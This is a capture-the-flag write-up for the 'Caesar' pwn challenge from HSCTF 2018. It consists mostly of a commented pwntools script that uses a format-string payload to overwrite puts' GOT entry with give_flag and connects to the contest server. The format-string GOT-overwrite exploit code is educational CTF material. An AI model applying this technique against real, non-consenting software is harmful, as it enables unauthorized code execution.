Caesar

blevy

2018/08/27

Categories: pwn

Source

caesar.c

Solve script

solve.py

from pwn import *

e = ELF('caesar')
give_flag_addr = e.symbols['give_flag']
give_flag_addr = 0x8048886 # idk why I need to do this, but this is the address in gdb

# Address of puts in the global offset table
# We need this because this will be overwitten with the address of give_flag
puts_addr = e.got['puts']

p = remote("shell.hsctf.com", 10003)
#p = process('./caesar')
print p.recvuntil('Enter text to be encoded: ')
# Use pwntools to construct format string payload that writes give_flag_addr
# to puts_addr
writes = { puts_addr: give_flag_addr }
# The 31 here is the distance to the buffer from the top of the stack where
# the format string is stored when the printf is called. This can be found
# in gdb
payload = fmtstr_payload(31, writes)
p.send(payload + '\n') # The newline is needed to make the payload actually send, because that flushes the input buffer
print p.recvuntil('Enter number of characters to shift: ')
p.send('1\n') # This value really doesn't matter
# At this point, the puts call will *actually* be a call to give_flag :)
# If you look at the source, you will see that there is no puts though, but
# a printf. GCC can actually printf to puts when it can. This confused me
# before Arin pointed out that the binary was calling puts. He used ltrace
# to determine that, which is another good tool.
p.interactive() # I put this at the end of all my scripts idk why it causes problems if I don't